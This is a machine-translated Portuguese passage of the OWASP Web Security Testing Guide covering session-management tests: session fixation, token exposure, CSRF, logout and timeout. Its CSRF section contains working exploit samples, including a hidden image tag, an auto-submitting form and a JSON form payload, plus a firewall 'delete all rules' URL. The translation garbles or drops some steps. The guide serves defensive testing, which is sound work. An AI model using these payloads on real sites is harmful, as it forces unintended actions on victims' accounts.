O __Seguro- prefixo é menos restritivo e pode ser introduzido adicionando a string __Secure- com distinção entre maiúsculas e minúsculas ao nome do
cookie. Espera-se que qualquer cookie que corresponda ao prefixo __Secure- atenda às seguintes condições:
2. O cookie deve ser definido a partir de um URI considerado seguro pelo agente do usuário.
Práticas Fortes
Com base nas necessidades do aplicativo e como o cookie deve funcionar, os atributos e prefixos devem ser aplicados. o
quanto mais o cookie estiver bloqueado, melhor.
Juntando tudo isso, podemos definir a configuração de atributo de cookie mais segura como: Set-Cookie: __Host-SID= <token de sessão>; caminho=/;
Seguro; HttpOnly; SameSite=Strict .
Ferramentas
Proxy de interceptação
Machine Translated by Google
193
Plug-in do navegador
Referências
RFC 2965 - Mecanismo de Gerenciamento de Estado HTTP RFC
EU IRIA
WSTG-SESS-03
Resumo
A fixação da sessão é possibilitada pela prática insegura de preservar o mesmo valor dos cookies da sessão antes e depois da autenticação.
Isso geralmente acontece quando os cookies de sessão são usados para armazenar informações de estado antes mesmo do login, por
exemplo, para adicionar itens a um carrinho de compras antes de autenticar para pagamento.
Na exploração genérica de vulnerabilidades de fixação de sessão, um invasor pode obter um conjunto de cookies de sessão do site de destino
sem autenticação prévia. O invasor pode forçar esses cookies no navegador da vítima usando diferentes técnicas. Se a vítima se autenticar
posteriormente no site de destino e os cookies não forem atualizados no login, a vítima será identificada pelos cookies de sessão escolhidos
pelo invasor. O invasor pode então representar a vítima com esses cookies conhecidos.
Esse problema pode ser corrigido atualizando os cookies da sessão após o processo de autenticação. Como alternativa, o ataque pode ser
evitado garantindo a integridade dos cookies de sessão. Ao considerar invasores de rede, ou seja, invasores que controlam a rede usada pela
vítima, use HSTS completo ou adicione o prefixo __Host- / __Secure- ao nome do cookie.
A adoção completa do HSTS ocorre quando um host ativa o HSTS para si mesmo e para todos os seus subdomínios. Isso é descrito em um
artigo chamado Testing for Integrity Flaws in Web Sessions , de Stefano Calzavara, Alvise Rabitti, Alessio Ragazzo e Michele Bugliesi.
Objetivos do teste
Analise o mecanismo de autenticação e seu fluxo.
Como testar
Nesta seção damos uma explicação da estratégia de teste que será mostrada na próxima seção.
O primeiro passo é fazer uma solicitação ao site a ser testado (por exemplo , www.example.com ). Se o testador solicitar o seguinte:
GET / HTTP/1.1
Host: www.example.com
HTTP/1.1 200 OK
Data: quarta-feira, 14 de agosto de 2008 08:45:11 GMT
Servidor: IBM_HTTP_Server
Set-Cookie: JSESSIONID=0000d8eyYq3L0z2fgq10m4v-rt4:-1; Caminho=/; seguro
Cache-Control: no-cache="set-cookie,set-cookie2"
Expira: quinta-feira, 01 de dezembro de 1994 16:00:00 GMT
Keep-Alive: timeout=5, max=100
Conexão: Keep-Alive
Tipo de conteúdo: text/html;charset=Cp1254
Idioma do conteúdo: en-US
Machine Translated by Google
195
Em seguida, se o testador for autenticado com sucesso no aplicativo com o seguinte POST para
https://www.example.com/authentication.php :
Name=Meucci&wpPassword=secret!&wpLoginattempt=Login
HTTP/1.1 200 OK
Data: quinta-feira, 14 de agosto de 2008
14:52:58 GMT Servidor: Apache/2.2.2 (Fedora)
X-Powered-By: PHP/5.1.6
Linguagem do conteúdo: en
Cache-Control: privado, deve-revalidar, max-age=0 X-Content-
Encoding: gzip Comprimento do conteúdo: 4090 Conexão: fechar
Como nenhum novo cookie foi emitido após uma autenticação bem-sucedida, o testador sabe que é possível executar o seqüestro de sessão,
a menos que a integridade do cookie da sessão seja garantida.
O testador pode enviar um identificador de sessão válido para um usuário (possivelmente usando um truque de engenharia social), aguardar
a autenticação e, posteriormente, verificar se os privilégios foram atribuídos a esse cookie.
Essa estratégia de teste é direcionada a invasores de rede, portanto, só precisa ser aplicada a sites sem adoção total de HSTS (sites com
adoção total de HSTS são seguros, pois todos os seus cookies têm integridade). Assumimos que temos duas contas de teste no site em
teste, uma para atuar como vítima e outra como invasor. Simulamos um cenário em que o invasor força no navegador da vítima todos os
cookies que não são emitidos recentemente após o login e não possuem integridade. Após o login da vítima, o invasor apresenta os cookies
forçados ao site para acessar a conta da vítima: se forem suficientes para agir em nome da vítima, a fixação da sessão é possível.
2. Salve um instantâneo do cookie jar antes de fazer login, excluindo os cookies que contêm __Host- ou __Secure
prefixo em seu nome.
3. Faça login no site como vítima e acesse qualquer página que ofereça uma função segura que exija autenticação.
6. Observe se a operação na etapa 5 foi executada com sucesso. Nesse caso, o ataque foi bem-sucedido.
7. Limpe o pote de cookies, faça login como o invasor e acesse a página na etapa 3.
11. Observe se a operação do passo 9 foi realizada com sucesso na conta da vítima. Se sim, o ataque
foi bem sucedido; caso contrário, o site é seguro contra fixação de sessão.
Recomendamos o uso de duas máquinas ou navegadores diferentes para a vítima e o invasor. Isso permite diminuir o número de falsos positivos se o
aplicativo da web fizer impressões digitais para verificar o acesso habilitado a partir de um determinado cookie. Uma variante mais curta, mas menos precisa,
da estratégia de teste requer apenas uma conta de teste. Ele segue os mesmos passos, mas para no passo 6.
Remediação
Implemente uma renovação de token de sessão após a autenticação bem-sucedida de um usuário.
O aplicativo sempre deve primeiro invalidar o ID de sessão existente antes de autenticar um usuário e, se a autenticação for bem-sucedida, fornecer outro ID
de sessão.
Ferramentas
OWASP ZAP
Referências
Fixação de Sessão
Segurança ACROS
Chris Shiflett
Machine Translated by Google
197
EU IRIA
WSTG-SESS-04
Resumo
Os tokens de sessão (Cookie, SessionID, campo oculto), se expostos, geralmente permitem que um invasor se faça passar por uma vítima e acesse o
aplicativo de forma ilegítima. É importante que eles estejam sempre protegidos contra espionagem, principalmente durante o trânsito entre o navegador do
cliente e os servidores de aplicativos.
As informações aqui se referem a como a segurança de transporte se aplica à transferência de dados de ID de sessão confidenciais, em vez de dados em
geral, e pode ser mais rigorosa do que as políticas de armazenamento em cache e transporte aplicadas aos dados servidos pelo site.
Usando um proxy pessoal, é possível verificar o seguinte sobre cada solicitação e resposta:
Cabeçalhos HTTP
Cada vez que os dados de ID de sessão são transmitidos entre o cliente e o servidor, o protocolo, o cache e as diretivas e o corpo de privacidade devem ser
examinados. A segurança de transporte aqui se refere a IDs de sessão passados em solicitações GET ou POST, corpos de mensagens ou outros meios em
solicitações HTTP válidas.
Objetivos do teste
Certifique-se de que a criptografia adequada seja implementada.
Como testar
Teste de vulnerabilidades de criptografia e reutilização de tokens de sessão A proteção contra
espionagem geralmente é fornecida pela criptografia SSL, mas pode incorporar outro túnel ou criptografia.
Deve-se observar que a criptografia ou hashing criptográfico do ID da sessão deve ser considerada separadamente da criptografia de transporte, pois é o
próprio ID da sessão que está sendo protegido, não os dados que podem ser representados por ele.
Se o ID da sessão puder ser apresentado por um invasor ao aplicativo para obter acesso, ele deverá ser protegido em trânsito para mitigar esse risco.
Portanto, deve-se garantir que a criptografia seja padrão e aplicada para qualquer solicitação ou resposta em que o ID da sessão seja passado,
independentemente do mecanismo usado (por exemplo, um campo de formulário oculto). Verificações simples, como substituir https:// por http:// durante a
interação com o aplicativo, devem ser realizadas, juntamente com a modificação das postagens do formulário para determinar se a segregação adequada
entre os sites seguros e não seguros foi implementada.
Observe que, se também houver um elemento no site em que o usuário é rastreado com IDs de sessão, mas a segurança não está presente (por exemplo,
observando quais documentos públicos um usuário registrado baixa), é essencial que um ID de sessão diferente seja usado. O ID da sessão deve, portanto,
ser monitorado à medida que o cliente muda dos elementos seguros para os não seguros para garantir uma
diferente é usado.
Um token enviado por canal criptografado toda vez que eles fazem uma solicitação HTTP
ou outros proxies ou gateways com reconhecimento de protocolo (por exemplo, firewalls). O protocolo HTTP fornece diretivas para controlar o comportamento
dos proxies downstream, e a implementação correta dessas diretivas também deve ser avaliada.
Em geral, o ID da sessão nunca deve ser enviado por transporte não criptografado e nunca deve ser armazenado em cache. O aplicativo deve ser examinado
para garantir que as comunicações criptografadas sejam o padrão e aplicadas para qualquer transferência de IDs de sessão. Além disso, sempre que o ID da
Sessão for passado, as diretivas devem estar em vigor para impedir seu armazenamento em cache por caches intermediários e até mesmo locais.
O aplicativo também deve ser configurado para proteger dados em caches em HTTP/1.0 e HTTP/1.1 – RFC 2616 discute os controles apropriados com referência
a HTTP. O HTTP/1.1 fornece vários mecanismos de controle de cache.
Cache-Control: no-cache indica que um proxy não deve reutilizar nenhum dado. Embora Cache-Control: Private pareça ser uma diretiva adequada, isso ainda
permite que um proxy não compartilhado armazene dados em cache. No caso de web-cafés ou outros sistemas compartilhados, isso representa um risco claro.
Mesmo com estações de trabalho de usuário único, o ID de sessão em cache pode ser exposto por meio de um comprometimento do sistema de arquivos ou
onde os armazenamentos de rede são usados. Os caches HTTP/1.0 não reconhecem a diretiva Cache Control: no-cache .
As diretivas Expires: 0 e Cache-Control: max-age=0 devem ser usadas para garantir que os caches não exponham os dados. Cada solicitação/resposta
que passa por dados de ID de sessão deve ser examinada para garantir que as diretivas de cache apropriadas estejam em uso.
solicitações GET não devem ser usadas, pois o ID da sessão pode ser exposto nos logs do Proxy ou do Firewall. Eles também são muito mais fáceis de
manipular do que outros tipos de transporte, embora deva ser notado que quase qualquer mecanismo pode ser manipulado pelo cliente com as ferramentas
certas. Além disso, Cross-site Scripting (XSS) os ataques são mais facilmente explorados enviando um link especialmente construído para a vítima. Isso é muito
Todo código do lado do servidor que recebe dados de solicitações POST deve ser testado para garantir que não aceite os dados se enviados como um GET. Por
página.
Cookie: ASPSESSIONIDABCDEFG=ASKLJDLKJRELKHJG
Comprimento do conteúdo: 51
Login=Nome de usuário&senha=Senha&SessionID=12345678
Se o login.asp estiver mal implementado, pode ser possível fazer login usando o seguinte URL:
http://owaspapp.com/login.asp?Login=Username&password=Password&SessionID=12345678
Os scripts do lado do servidor potencialmente inseguros podem ser identificados verificando cada POST dessa maneira.
entre o cliente e o aplicativo deve ser testada pelo menos em relação aos critérios a seguir.
Como os IDs de sessão são transferidos? por exemplo, GET, POST, Campo de formulário (incluindo campos ocultos)
Os IDs de sessão são sempre enviados por transporte criptografado por padrão?
É possível manipular o aplicativo para enviar IDs de sessão não criptografados? por exemplo, alterando HTTP para HTTPS?
Machine Translated by Google
199
Quais diretivas de controle de cache são aplicadas a solicitações/respostas que passam IDs de sessão?
Referências
Artigos técnicos
RFCs 2109 e 2965 – Mecanismo de gerenciamento de estado HTTP [D. Kristol, L. Montulli]
EU IRIA
WSTG-SESS-05
Resumo
Falsificação de solicitação entre sites (CSRF) é um ataque que força um usuário final a executar ações não intencionais em um aplicativo da Web no qual ele
está autenticado no momento. Com um pouco de ajuda de engenharia social (como enviar um link por e-mail ou bate-papo), um invasor pode forçar os usuários
de um aplicativo da Web a executar ações de sua escolha. Uma exploração CSRF bem-sucedida pode comprometer os dados e a operação do usuário final
quando visa um usuário normal. Se o usuário final visado for a conta do administrador, um ataque CSRF pode comprometer todo o aplicativo da web.
1. Comportamento do navegador da Web em relação ao manuseio de informações relacionadas à sessão, como cookies e informações de autenticação HTTP.
3. Gerenciamento de sessão do aplicativo contando apenas com informações conhecidas pelo navegador.
4. Existência de tags HTML cuja presença causa acesso imediato a um recurso HTTP[S]; por exemplo a imagem
etiqueta img .
Os pontos 1, 2 e 3 são essenciais para que a vulnerabilidade esteja presente, enquanto o ponto 4 facilita a exploração real, mas não é estritamente necessário.
1. Os navegadores enviam automaticamente informações usadas para identificar uma sessão do usuário. Suponha que o site seja um site que hospeda um
aplicativo da web e o usuário vítima acabou de se autenticar no site. Em resposta, o site envia à vítima um cookie que identifica as solicitações enviadas
pela vítima como pertencentes à sessão autenticada da vítima . Assim que o navegador receber o cookie definido pelo site, ele o enviará automaticamente
2. Se o aplicativo não fizer uso de informações relacionadas à sessão em URLs, os URLs do aplicativo, seus parâmetros e valores legítimos poderão ser
identificados. Isso pode ser feito por análise de código ou acessando o aplicativo e anotando formulários e URLs incorporados no HTML ou JavaScript.
3. “Conhecido pelo navegador” refere-se a informações como cookies ou informações de autenticação baseadas em HTTP (como autenticação básica e não
autenticação baseada em formulário), que são armazenadas pelo navegador e posteriormente apresentadas a cada solicitação direcionada a uma área de
aplicativo solicitando essa autenticação. As vulnerabilidades discutidas a seguir se aplicam a aplicativos que dependem inteiramente desse tipo de
Para simplificar, considere URLs acessíveis por GET (embora a discussão também se aplique a solicitações POST). Se a vítima já se autenticou, enviar outra
solicitação faz com que o cookie seja enviado automaticamente com ela.
A solicitação GET pode ser enviada pelo usuário de várias maneiras diferentes:
Essas invocações são indistinguíveis pelo aplicativo. Em particular, o terceiro pode ser bastante perigoso. Existem várias técnicas e
vulnerabilidades que podem disfarçar as propriedades reais de um link. O link pode ser incorporado em uma mensagem de e-mail, aparecer
em um site malicioso para o qual o usuário é atraído ou aparecer em conteúdo hospedado por terceiros (como outro site ou e-mail em
HTML) e apontar para um recurso do aplicativo . Se o usuário clicar no link, por já estar autenticado pela aplicação web no site, o
navegador emitirá uma solicitação GET para a aplicação web, acompanhada das informações de autenticação (o cookie de identificação
da sessão). Isso resulta na execução de uma operação válida no aplicativo da web que o usuário não esperava; por exemplo, uma
transferência de fundos em um aplicativo bancário da web.
conforme
Ao usar uma tag como img , link. Suponha especificado
que no ponto
o invasor envie 4 acima,
ao usuário umnem mesmo
e-mail é necessário
induzindo-o que
a visitar o usuário
uma siga umadeterminado
URL referente uma página
contendo o seguinte HTML (simplificado demais).
<html>
<corpo>
...
<img src="https://www.company.example/action" width="0" height="0">
...
</body>
</html>
Quando o navegador exibir esta página, ele tentará exibir a imagem de dimensão zero especificada (portanto, invisível) de https://
www.company.example também. Isso resulta no envio automático de uma solicitação ao aplicativo da web hospedado no site. Não é
importante que o URL da imagem não se refira a uma imagem adequada, pois sua presença acionará a ação de solicitação especificada
no campo src de qualquer maneira. Isso acontece desde que o download da imagem não esteja desabilitado no navegador. A maioria dos
navegadores não tem downloads de imagens desativados, pois isso prejudicaria a maioria dos aplicativos da Web além da usabilidade.
Tags HTML na página resultando em execução automática de solicitação HTTP ( sendo img uma delas).
O navegador não tem como saber se o recurso referenciado por img não é uma imagem legítima.
Machine Translated by Google
202
Carregamento de imagem que acontece independentemente da localização da suposta origem da imagem, ou seja, o formulário e a própria
imagem não precisam estar localizados no mesmo host ou mesmo no mesmo domínio.
O fato de o conteúdo HTML não relacionado ao aplicativo da Web poder se referir a componentes do aplicativo e o fato de o navegador compor
automaticamente uma solicitação válida para o aplicativo permite esse tipo de ataque. Não há como proibir esse comportamento, a menos que seja
impossível para o invasor interagir com a funcionalidade do aplicativo.
Em ambientes integrados de e-mail/navegador, a simples exibição de uma mensagem de e-mail contendo a referência da imagem resultaria na
execução da solicitação ao aplicativo da web com o cookie do navegador associado. As mensagens de e-mail podem fazer referência a URLs de
imagens aparentemente válidas, como:
Neste exemplo, [atacante] é um site controlado pelo invasor. Ao utilizar um mecanismo de redirecionamento, o site malicioso pode usar http://
[attacker]/picture.gif para direcionar a vítima para http://[thirdparty]/action e acionar o
ação .
Os cookies não são o único exemplo envolvido nesse tipo de vulnerabilidade. Aplicativos da Web cujas informações de sessão são totalmente
fornecidas pelo navegador também são vulneráveis. Isso inclui aplicativos que dependem apenas de mecanismos de autenticação HTTP, pois as
informações de autenticação são conhecidas pelo navegador e são enviadas automaticamente a cada solicitação. Isso não inclui a autenticação
baseada em formulário, que ocorre apenas uma vez e gera alguma forma de informação relacionada à sessão, geralmente um cookie.
Suponhamos que a vítima esteja conectada a um console de gerenciamento web de firewall. Para fazer login, o usuário precisa se autenticar e as
informações da sessão são armazenadas em um cookie.
Vamos supor que o console de gerenciamento web do firewall tenha uma função que permite que um usuário autenticado exclua uma regra
especificada por seu ID numérico, ou todas as regras na configuração se o usuário especificar * (um recurso perigoso na realidade, mas que gera
um exemplo mais interessante). A página de exclusão é mostrada a seguir. Vamos supor que o formulário – para simplificar – emita uma requisição
GET. Para excluir a regra número um:
https://[target]/fwmgt/delete?rule=1
https://[target]/fwmgt/delete?rule=*
Este exemplo é intencionalmente ingênuo, mas mostra de forma simplificada os perigos do CSRF.
Usando o formulário ilustrado na figura acima, inserindo o valor * e clicando no botão Excluir enviará a seguinte solicitação GET:
https://www.company.example/fwmgt/delete?rule=*
O usuário também pode ter obtido os mesmos resultados enviando manualmente a URL:
https://[target]/fwmgt/delete?rule=*
Ou seguindo um link apontando, diretamente ou por meio de um redirecionamento, para o URL acima. Ou, novamente, acessando uma página HTML com
uma tag img incorporada apontando para o mesmo URL.
Em todos esses casos, se o usuário estiver logado no aplicativo de gerenciamento do firewall, a solicitação será bem-sucedida e modificará a configuração
do firewall. Pode-se imaginar ataques visando aplicativos sensíveis e fazendo lances automáticos em leilões, transferências de dinheiro, pedidos, alterando a
configuração de componentes de software críticos, etc.
Uma coisa interessante é que essas vulnerabilidades podem ser exercidas por trás de um firewall; ou seja, é suficiente que o link que está sendo atacado
seja acessível pela vítima e não diretamente pelo atacante. Em particular, pode ser qualquer servidor web de intranet; por exemplo, no cenário de
gerenciamento de firewall mencionado anteriormente, que provavelmente não será exposto à Internet.
Aplicativos autovulneráveis, ou seja, aplicativos que são usados tanto como vetor quanto como alvo de ataque (como aplicativos de webmail), pioram as
coisas. Como os usuários estão conectados quando leem suas mensagens de e-mail, um aplicativo vulnerável desse tipo pode permitir que invasores
executem ações como excluir mensagens ou enviar mensagens que parecem ser originárias da vítima.
Objetivos do teste
Determine se é possível iniciar solicitações em nome de um usuário que não sejam iniciadas pelo usuário.
Como testar
Audite o aplicativo para verificar se seu gerenciamento de sessão é vulnerável. Se o gerenciamento de sessão depender apenas de valores do lado do
cliente (informações disponíveis para o navegador), o aplicativo estará vulnerável. “Valores do lado do cliente” refere-se a cookies e credenciais de
autenticação HTTP (autenticação básica e outras formas de autenticação HTTP; não autenticação baseada em formulário, que é uma autenticação em nível
de aplicativo).
Os recursos acessíveis por meio de solicitações HTTP GET são facilmente vulneráveis, embora as solicitações POST possam ser automatizadas por meio de
JavaScript e também são vulneráveis; portanto, apenas o uso do POST não é suficiente para corrigir a ocorrência de
Machine Translated by Google
204
Vulnerabilidades CSRF.
<html>
<body onload='document.CSRF.submit()'>
</form>
</body>
</html>
No caso de aplicativos da web nos quais os desenvolvedores estão utilizando JSON para comunicação do navegador com o servidor, pode surgir
um problema com o fato de não haver parâmetros de consulta com o formato JSON, que são obrigatórios nos formulários de autoenvio. Para
contornar esse caso, podemos usar um formulário de autoenvio com cargas JSON, incluindo entrada oculta para explorar o CSRF. Teremos que
alterar o tipo de codificação ( enctype ) para text/plain para garantir que a carga útil seja entregue como está. O código de exploração terá a
seguinte aparência:
<html>
<body>
<script>história.pushState('', '', '/')</script>
<form action='http://victimsite.com' method='POST' enctype='text/plain'> <input type='hidden'
name='{"name":"hacked","password":" hackeado","padding":"'value='algo"}'
/>
<input type='submit' value='Enviar solicitação' />
</form>
</body>
</html>
POST / HTTP/1.1
Host: vítimasite.com
Tipo de conteúdo: texto/simples
{"name":"hackeado","password":"hackeado","padding":"=algo"}
Quando esses dados são enviados como uma solicitação POST, o servidor aceitará alegremente os campos de nome e senha e ignorará aquele
com preenchimento de nome, pois não precisa disso.
Remediação
Consulte a folha de dicas de prevenção do OWASP CSRF para medidas de prevenção.
Ferramentas
OWASP ZAP
Testador CSRF
Pinata-csrf-tool
Machine Translated by Google
205
Referências
Sans Pen Test Webcast: Gerenciamento completo do aplicativo via Multi POST XSRF
Machine Translated by Google
206
EU IRIA
WSTG-SESS-06
Resumo
O encerramento da sessão é uma parte importante do ciclo de vida da sessão. Reduzir ao mínimo o tempo de vida dos tokens de sessão diminui a probabilidade
de um ataque de sequestro de sessão bem-sucedido. Isso pode ser visto como um controle contra a prevenção de outros ataques, como Cross Site Scripting e
Cross Site Request Forgery. Sabe-se que esses ataques dependem de um usuário ter uma sessão autenticada presente. Não ter um encerramento de sessão
seguro apenas aumenta a superfície de ataque para qualquer um desses ataques.
Disponibilidade de controles de interface do usuário que permitem que o usuário saia manualmente.
Encerramento da sessão após um determinado período de tempo sem atividade (tempo limite da sessão).
Existem vários problemas que podem impedir o encerramento efetivo de uma sessão. Para o aplicativo da Web seguro ideal, um usuário deve poder encerrar a
qualquer momento por meio da interface do usuário. Cada página deve conter um botão de logout em um local diretamente visível. Funções de logoff pouco
claras ou ambíguas podem fazer com que o usuário não confie em tal funcionalidade.
Outro erro comum no encerramento da sessão é que o token de sessão do lado do cliente é definido com um novo valor enquanto o
o estado do lado do servidor permanece ativo e pode ser reutilizado definindo o cookie de sessão de volta para o valor anterior.
Às vezes, apenas uma mensagem de confirmação é mostrada ao usuário sem executar nenhuma ação adicional. Isso deve ser evitado.
Algumas estruturas de aplicativos da web dependem exclusivamente do cookie de sessão para identificar o usuário conectado. O ID do usuário é incorporado
no valor do cookie (criptografado). O servidor de aplicativos não faz nenhum rastreamento no lado do servidor da sessão. Ao sair, o cookie da sessão é removido
do navegador. No entanto, como o aplicativo não faz nenhum rastreamento, ele não sabe se uma sessão foi desconectada ou não. Portanto, ao reutilizar um
cookie de sessão, é possível obter acesso à sessão autenticada. Um exemplo bem conhecido disso é a funcionalidade de autenticação de formulários no
ASP.NET.
Os usuários de navegadores da Web geralmente não se importam com o fato de um aplicativo ainda estar aberto e apenas fecham o navegador ou uma guia.
Um aplicativo da Web deve estar ciente desse comportamento e encerrar a sessão automaticamente no lado do servidor após um período de tempo definido.
O uso de um sistema de logon único (SSO) em vez de um esquema de autenticação específico do aplicativo geralmente causa a coexistência de várias sessões
que precisam ser encerradas separadamente. Por exemplo, o término da sessão específica do aplicativo não encerra a sessão no sistema SSO. Navegar de
volta para o portal SSO oferece ao usuário a possibilidade de fazer login novamente no aplicativo onde o logout foi realizado antes. Por outro lado, uma função
de logout em um sistema SSO não causa necessariamente o encerramento da sessão nos aplicativos conectados.
Objetivos do teste
Avalie a IU de logout.
Analise o tempo limite da sessão e se a sessão foi encerrada corretamente após o logout.
Como testar
Machine Translated by Google
207
Existem algumas propriedades que indicam uma boa interface de usuário para logout:
O botão de logoff deve ser identificado rapidamente por um usuário que deseja sair do aplicativo da web.
Depois de carregar uma página, o botão de logout deve estar visível sem rolagem.
Idealmente, o botão de logout é colocado em uma área da página que é fixada na porta de exibição do navegador e não é afetada pela
rolagem do conteúdo.
Nenhum dado que deva ser visível apenas por usuários autenticados deve estar visível nas páginas examinadas durante a execução dos
testes. Idealmente, o aplicativo redireciona para uma área pública ou um formulário de login ao acessar áreas autenticadas após o término
da sessão. Isso não deve ser necessário para a segurança do aplicativo, mas definir cookies de sessão para novos valores após o logout
geralmente é considerado uma boa prática.
Os mesmos resultados do teste de término de sessão do lado do servidor descritos anteriormente são exceto por um logout causado por um
tempo limite de inatividade.
O valor adequado para o tempo limite da sessão depende da finalidade do aplicativo e deve ser um equilíbrio entre segurança e usabilidade.
Numa aplicação bancária não faz sentido manter uma sessão inativa mais de 15 minutos. Por outro lado, um curto tempo limite em um wiki
ou fórum pode incomodar os usuários que estão digitando artigos longos com solicitações de login desnecessárias. Há limites de tempo de
uma hora e mais podem ser aceitáveis.
Faça logout no aplicativo testado. Verifique se existe um portal central ou diretório de aplicativos que permita ao usuário efetuar login novamente
no aplicativo sem autenticação. Teste se o aplicativo solicita a autenticação do usuário, se a URL de um ponto de entrada para o aplicativo é
solicitada. Enquanto estiver conectado no aplicativo testado, faça um logout no sistema SSO. Em seguida, tente acessar uma área autenticada do
aplicativo testado.
Espera-se que a invocação de uma função de logout em um aplicativo da Web conectado a um sistema SSO ou no próprio sistema SSO
cause o encerramento global de todas as sessões. Uma autenticação do usuário deve ser necessária para obter acesso ao aplicativo após
o logout no sistema SSO e no aplicativo conectado.
Ferramentas
Referências
Machine
208
Translated by Google
Artigos técnicos
EU IRIA
WSTG-SESS-07
Resumo
Nesta fase, os testadores verificam se o aplicativo desconecta automaticamente um usuário quando esse usuário fica ocioso por um determinado
período de tempo, garantindo que não seja possível “reutilizar” a mesma sessão e que nenhum dado sensível permaneça armazenado no cache do
navegador .
Todos os aplicativos devem implementar um tempo limite de ociosidade ou inatividade para as sessões. Este timeout define o tempo que uma sessão
permanecerá ativa caso não haja atividade do usuário, fechando e invalidando a sessão no período de inatividade definido desde a última requisição
HTTP recebida pela aplicação web para um determinado ID de sessão. O timeout mais adequado deve ser um equilíbrio entre segurança (timeout mais
curto) e usabilidade (timeout mais longo) e depende muito do nível de sensibilidade dos dados manipulados pelo aplicativo. Por exemplo, um tempo de
logout de 60 minutos para um fórum público pode ser aceitável, mas um tempo tão longo seria demais em um aplicativo de home banking (onde um
tempo limite máximo de 15 minutos é recomendado). Em qualquer caso, qualquer aplicativo que não imponha um logout baseado em tempo limite deve
ser considerado não seguro, a menos que tal comportamento seja exigido por um requisito funcional específico.
O tempo limite de inatividade limita as chances de um invasor adivinhar e usar uma ID de sessão válida de outro usuário e, em determinadas
circunstâncias, proteger computadores públicos contra reutilização de sessão. No entanto, se o invasor conseguir sequestrar uma determinada sessão,
o tempo limite de inatividade não limita as ações do invasor, pois ele pode gerar atividade na sessão periodicamente para mantê-la ativa por períodos
de tempo mais longos.
O gerenciamento e a expiração do tempo limite da sessão devem ser aplicados no lado do servidor. Se alguns dados sob o controle do cliente forem
usados para impor o tempo limite da sessão, por exemplo, usando valores de cookies ou outros parâmetros do cliente para rastrear referências de
tempo (por exemplo, número de minutos desde o horário de login), um invasor pode manipulá-los para estender a sessão duração. Portanto, o aplicativo
precisa rastrear o tempo de inatividade do lado do servidor e, depois que o tempo limite expirar, invalidar automaticamente a sessão do usuário atual e
excluir todos os dados armazenados no cliente.
Ambas as ações devem ser implementadas com cuidado, a fim de evitar a introdução de pontos fracos que podem ser explorados por um invasor para
obter acesso não autorizado caso o usuário se esqueça de sair do aplicativo. Mais especificamente, quanto à função de logout, é importante garantir
que todos os tokens de sessão (por exemplo, cookies) sejam devidamente destruídos ou inutilizados e que os controles adequados sejam aplicados no
lado do servidor para evitar a reutilização de tokens de sessão. Se tais ações não forem executadas corretamente, um invasor pode repetir esses
tokens de sessão para “ressuscitar” a sessão de um usuário legítimo e se passar por ele (esse ataque é geralmente conhecido como 'repetição de
cookie'). Obviamente, um fator atenuante é que o invasor precisa ser capaz de acessar esses tokens (que são armazenados no PC da vítima), mas,
em vários casos, isso pode não ser impossível ou particularmente difícil.
O cenário mais comum para esse tipo de ataque é um computador público usado para acessar algumas informações privadas (por exemplo, webmail,
conta bancária online). Se o usuário sair do computador sem sair explicitamente e o tempo limite da sessão não for implementado no aplicativo, um
invasor poderá acessar a mesma conta simplesmente pressionando o botão “voltar” do navegador.
Objetivos do teste
Valide se existe um tempo limite de sessão difícil.
Como testar
Teste de Caixa Preta
Machine
210
Translated by Google
A mesma abordagem vista na seção Testando a funcionalidade de logoff pode ser aplicada ao medir o tempo limite de logout. A metodologia de teste é
muito semelhante. Primeiro, os testadores precisam verificar se existe um tempo limite, por exemplo, efetuando login e aguardando o acionamento do
logout do tempo limite. Como na função de logout, após o tempo limite ter passado, todos os tokens de sessão devem ser destruídos ou inutilizados.
Então, se o tempo limite estiver configurado, os testadores precisam entender se o tempo limite é aplicado pelo cliente ou pelo servidor (ou ambos). Se
o cookie da sessão for não persistente (ou, mais em geral, o cookie da sessão não armazenar nenhum dado sobre o tempo), os testadores podem
presumir que o tempo limite é aplicado pelo servidor. Se o cookie de sessão contiver alguns dados relacionados ao tempo (por exemplo, hora de login,
hora do último acesso ou data de expiração de um cookie persistente), é possível que o cliente esteja envolvido na imposição de tempo limite. Nesse
caso, os testadores podem tentar modificar o cookie (se não estiver protegido criptograficamente) e ver o que acontece com a sessão. Por exemplo, os
testadores podem definir a data de expiração do cookie em um futuro distante e verificar se a sessão pode ser prolongada.
Como regra geral, tudo deve ser verificado do lado do servidor e não deve ser possível, redefinindo os cookies de sessão para os valores anteriores,
acessar o aplicativo novamente.
A função de logout destrói efetivamente todos os tokens de sessão ou, pelo menos, os torna inutilizáveis,
O servidor executa verificações adequadas no estado da sessão, impedindo que um invasor reproduza identificadores de sessão destruídos
anteriormente
Um tempo limite é aplicado e é devidamente aplicado pelo servidor. Se o servidor usar um tempo de expiração lido de um token de sessão
enviado pelo cliente (mas isso não é aconselhável), o token deverá ser protegido criptograficamente contra adulteração.
Observe que o mais importante é que o aplicativo invalide a sessão no lado do servidor. Geralmente, isso significa que o código deve invocar os
métodos apropriados, por exemplo, HttpSession.invalidate() em Java e Session.abandon() em .NET. Limpar os cookies do navegador é aconselhável,
mas não é estritamente necessário, pois se a sessão for devidamente invalidada no servidor, ter o cookie no navegador não ajudará um invasor.
Referências
Recursos OWASP
Folha de Consulta de Gerenciamento de Sessões
Machine Translated by Google
211
EU IRIA
WSTG-SESS-08
Resumo
Sobrecarga de variável de sessão (também conhecida como Session Puzzling) é uma vulnerabilidade no nível do aplicativo que pode permitir
que um invasor execute uma variedade de ações maliciosas, incluindo, mas não se limitando a:
Eleve os privilégios de uma conta de usuário malicioso em um ambiente que, de outra forma, seria considerado infalível.
Ignore as fases de qualificação em processos multifásicos, mesmo que o processo inclua todas as restrições de nível de código comumente
recomendadas.
Manipule valores do lado do servidor em métodos indiretos que não podem ser previstos ou detectados.
Execute ataques tradicionais em locais antes inacessíveis ou até mesmo considerados seguros.
Essa vulnerabilidade ocorre quando um aplicativo usa a mesma variável de sessão para mais de uma finalidade. Um invasor pode potencialmente
acessar páginas em uma ordem imprevista pelos desenvolvedores, de modo que a variável de sessão seja definida em um contexto e depois
usada em outro.
Por exemplo, um invasor pode usar a sobrecarga de variável de sessão para contornar os mecanismos de imposição de autenticação de
aplicativos que impõem autenticação validando a existência de variáveis de sessão que contêm valores relacionados à identidade, que
geralmente são armazenados na sessão após um processo de autenticação bem-sucedido. Isso significa que um invasor primeiro acessa um
local no aplicativo que define o contexto da sessão e, em seguida, acessa locais privilegiados que examinam esse contexto.
Por exemplo - um vetor de ataque de desvio de autenticação pode ser executado acessando um ponto de entrada publicamente acessível (por
